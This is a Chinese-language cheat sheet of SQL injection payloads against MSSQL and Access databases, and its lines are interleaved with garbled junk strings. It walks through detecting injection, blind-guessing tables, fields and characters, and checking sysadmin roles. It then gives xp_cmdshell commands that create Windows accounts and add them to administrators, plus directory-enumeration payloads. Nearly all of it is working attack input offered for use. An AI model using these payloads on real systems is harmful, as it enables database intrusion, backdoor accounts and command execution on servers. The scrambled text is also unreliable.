1.判断是否有注入;and 1=1 ;and 1=2 >Uw:cq
2.初步判断是否是mssql ;and user>0 hzo> :U
h}
`v0E
3.注入参数是字符'and [查询条件] and ''=' l=E86"m
A7%d
4.搜索时没过滤参数的'and [查询条件] and '%25'=' lU{)%4e`
n 9B5D:.G
5.判断数据库系统 fpR|+`k
PVI Oe}N
;and (select count(*) from sysobjects)>0 mssql ,<v0(
O] @E8<?^
;and (select count(*) from msysobjects)>0 access j'D%eQI,V
WXy8<?s
~*HQPp?v
w"j>^#8
6.猜数据库 ;and (select Count(*) from [数据库名])>0 8A#,*@V[
~CNB3r5R
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 @G4Z
], lLDUZ\
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 C%z)D1-
#`VAw ) eV
9.(1)猜字段的ascii值(access) ;z'&$#pA
8ymdg\I+L
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 BJjic% V
B[N]=V
(2)猜字段的ascii值(mssql) ~/L:$
(!*
l+}
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 *ERV\/
"t0^4=c+7
10.测试权限结构(mssql) J :O!4gI
cYA:k
e$[O J<t
,Y:oTo=~
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ,Kv6!ib6Q
wW%b~JX
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $|~<6A{y
uj8saNu
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 287j,'vR
^B<-.(F
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 4fi4F1 f
mkSu
$c
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- A(2 0+
90vWqL!
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ZFtx&vrP
T8S&9BM7
;and 1=(select IS_MEMBER('db_owner'));-- 1aAOT6h
~O}r<PQ
D_l$"35?
2j-l<!s
11.添加mssql和系统的帐户 A%^?z.
ctP+ECH
;exec master.dbo.sp_addlogin username;-- n9Fq^^?
;exec master.dbo.sp_password null,username,password;-- k-~}KlP
f Fi=/}
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Xh8U}w<k6
So ziFI
;exec master.dbo.xp_cmdshell 'net user username password G<C D4:V
fEBi'Ad
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- %r^tZ ;;l
.#&)%}GC
;exec master.dbo.xp_cmdshell 'net user username password /add';-- tj;47UtH
G#%Sokkb'
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- & DP"RWT/
OeQ[-e
-HF?1c
k6#$Nb606
12.(1)遍历目录 v?He]e'
jkk%zu
;create table dirs(paths varchar(100), id int) zZMKgFR@
(dg,w*t'
;insert dirs exec master.dbo.xp_dirtree 'c:\' <WUgH6"
PhAfEsD
;and (select top 1 paths from dirs)>0 jRsl/dmy
|b\a)1Po:
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) z};|.N}
ja9u?UbW
]!TE
bPTtA;u
(2)遍历目录 -|V#U`mwF
H,D5)1Uu
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- JZ}zXv
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Q&I #
Uh0g !zzp
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 }XUL\6 U
wqG#jC!5
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 &k'<